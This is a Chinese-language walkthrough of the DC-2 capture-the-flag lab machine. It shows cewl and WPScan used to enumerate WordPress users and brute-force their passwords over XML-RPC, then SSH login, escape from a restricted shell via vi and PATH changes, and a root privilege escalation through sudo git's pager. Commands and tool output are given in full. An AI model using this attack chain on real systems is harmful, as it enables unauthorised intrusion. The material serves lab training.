靶机渗透-----DC-2

一，工具介绍

(1)cewl密码生成器

参考文章

用途

• cewl是一个ruby应用，爬行指定url的指定深度。结果会返回一个单词列表，这个列进行密码爆破。
  .

原理

• 爬取网站上的信息，遍历目录。生成一些可能的密码组合。

.
什么时候用

• 得到管理员用户名，尝试爆破密码时使用

.

常用选项

• -w XXX.txt 写入到文件

【eg】cewl -w dc2_passwords.txt http://dc-2

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(2)WPScan

参考文章
参考文章

用途

• WPScan是一个扫描WordPress漏洞的黑盒子扫描器，可以扫描出wordpress的版本，主题，插件，后台用户以及爆破后台用户密码等。

.
常用选项

• --update 更新漏洞库
• --url URL扫描指定URL(WordPressCMS)的漏洞
• --enumerate u 扫描wordpress用户

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(3)linux提权思路

         1.  sudo -l  查看有SUID的命令
         2. 使用sudo  命令
         3. 利用suid权限的特性提权为root

二，测试流程

(1)主机发现

nmap扫描

【思路】
    针对扫描出的开放服务（应用程序）的处理思路
	         1. 针对版本搜索相关漏洞
	         2. 针对协议本身

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(2)根据80端口的进一步测试

先写入 192.168.44.133 dc-2 到hosts文件

WordPress是一种使用PHP语言和MySQL数据库开发的博客平台,get CMS

【思路】
      ☞ 根据CMS做进一步的操作
          1. 成熟的CMS一般自身不会有漏洞，可以关注其插件的问题
          2. 尝试得知CMS版本，做进一步的漏洞搜索          
          3. 搜索相关CMS的测试工具

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(3)攻击准备

提示使用cewl工具

使用方法，使用cewl生成密码

针对cms使用相关的工具
使用wpscan工具

root@kali:~# wpscan --url http://dc-2 --enumerate u
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.3.1
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://dc-2/
[+] Started: Sun Sep 15 11:51:38 2019

Interesting Finding(s):

[+] http://dc-2/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 4.7.10 identified.
 | Detected By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
 |  - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
[+] Enumerating Users
 Brute Forcing Author IDs - Time: 00:00:00 <===========================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Detected By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jerry
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Finished: Sun Sep 15 11:51:40 2019
[+] Requests Done: 20
[+] Memory used: 32.027 MB
[+] Elapsed time: 00:00:01

扫描出了三个用户

结合cewl工具生成的字典文件进行爆破

root@kali:~# wpscan --url http://dc-2/ -U dc-2_user.txt -P dc2_passwords.txt 
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.3.1
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://dc-2/
[+] Started: Sun Sep 15 12:04:47 2019

Interesting Finding(s):

[+] http://dc-2/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%


[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2019-05-07T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.2
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Detected By: Css Style (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Detected By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating All Plugins

[i] No plugins Found.

[+] Enumerating Config Backups
 Checking Config Backups - Time: 00:00:00 <============================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - jerry / adipiscing                                                                           
[SUCCESS] - tom / parturient                                                                             
Trying admin / next Time: 00:00:30 <=================================> (644 / 644) 100.00% Time: 00:00:30
Trying admin / find Time: 00:00:30 <=================================> (644 / 644) 100.00% Time: 00:00:30
WARNING: Your progress bar is currently at 644 out of 644 and cannot be incremented. In v2.0.0 this will become a ProgressBar::InvalidProgressError.
Trying admin / find Time: 00:00:30 <=================================> (644 / 644) 100.00% Time: 00:00:30
Trying admin / log Time: 00:00:30 <==================================> (644 / 644) 100.00% Time: 00:00:30
WARNING: Your progress bar is currently at 644 out of 644 and cannot be incremented. In v2.0.0 this will become a ProgressBar::InvalidProgressError.
Trying admin / log Time: 00:00:30 <==================================> (644 / 644) 100.00% Time: 00:00:30

[i] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

[+] Finished: Sun Sep 15 12:05:19 2019
[+] Requests Done: 699
[+] Memory used: 111.535 MB
[+] Elapsed time: 00:00:32

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

---

(4)结合扫描出来的服务，尝试SSH登录

root@kali:~# ssh tom@192.168.44.133 -p 7744
The authenticity of host '[192.168.44.133]:7744 ([192.168.44.133]:7744)' can't be established.
ECDSA key fingerprint is SHA256:ZbyT03GNDQgEmA5AMiTX2N685NTzZuOoyMDIA+DW1qU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[192.168.44.133]:7744' (ECDSA) to the list of known hosts.
tom@192.168.44.133's password: 
Permission denied, please try again.
tom@192.168.44.133's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ cd
-rbash: cd: restricted

尝试为tom可以登录
发现为受限shell（限制了可执行的命令）

【思路】
      SSH后查看是什么shell
	              这里发现是受限制的shell -->尝试绕过
	              

绕过受限shell

用vi的：set shell=/bin/bash

: shell
之后 export -p 查看发现PATH变量可以写入
export PATH=$PATH:/bin/

【过程】

tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ export -p
declare -x HOME="/home/tom"
declare -x LANG="en_US.UTF-8"
declare -x LC_MEASUREMENT="zh_CN.UTF-8"
declare -x LC_MONETARY="zh_CN.UTF-8"
declare -x LC_NUMERIC="zh_CN.UTF-8"
declare -x LC_PAPER="zh_CN.UTF-8"
declare -x LC_TIME="zh_CN.UTF-8"
declare -x LOGNAME="tom"
declare -x MAIL="/var/mail/tom"
declare -x OLDPWD
declare -x PATH="/home/tom/usr/bin:/bin/"       ?加入了/bin
declare -x PWD="/home/tom"
declare -x SHELL="/bin/rbash"
declare -x SHLVL="2"
declare -x SSH_CLIENT="192.168.44.128 54410 7744"
declare -x SSH_CONNECTION="192.168.44.128 54410 192.168.44.133 7744"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="tom"
declare -x VIM="/usr/share/vim"
declare -x VIMRUNTIME="/usr/share/vim/vim74"

添加了环境变量后可以执行的命令就多了啊！

tom@DC-2:~$ ls
flag3.txt  usr
tom@DC-2:~$ cat flag3.txt 
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
tom@DC-2:~$ su jerry
Password: 

切换到jerry用户

jerry@DC-2:/home/tom$ cd /home/jerry/
jerry@DC-2:~$ ls
flag4.txt
jerry@DC-2:~$ cat flag4.txt 
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

jerry@DC-2:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

提示了用git命令使用SUID提权到root

   status     Show the working tree status
   tag        Create, list, delete or verify a tag object signed with GPG

'git help -a' and 'git help -g' lists available subcommands and some
concept guides. See 'git help <command>' or 'git help <concept>'
!/bin/bash
root@DC-2:/home/jerry# cd ~
root@DC-2:~# ls
final-flag.txt
root@DC-2:~# cat final-flag.txt 
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

root@DC-2:~#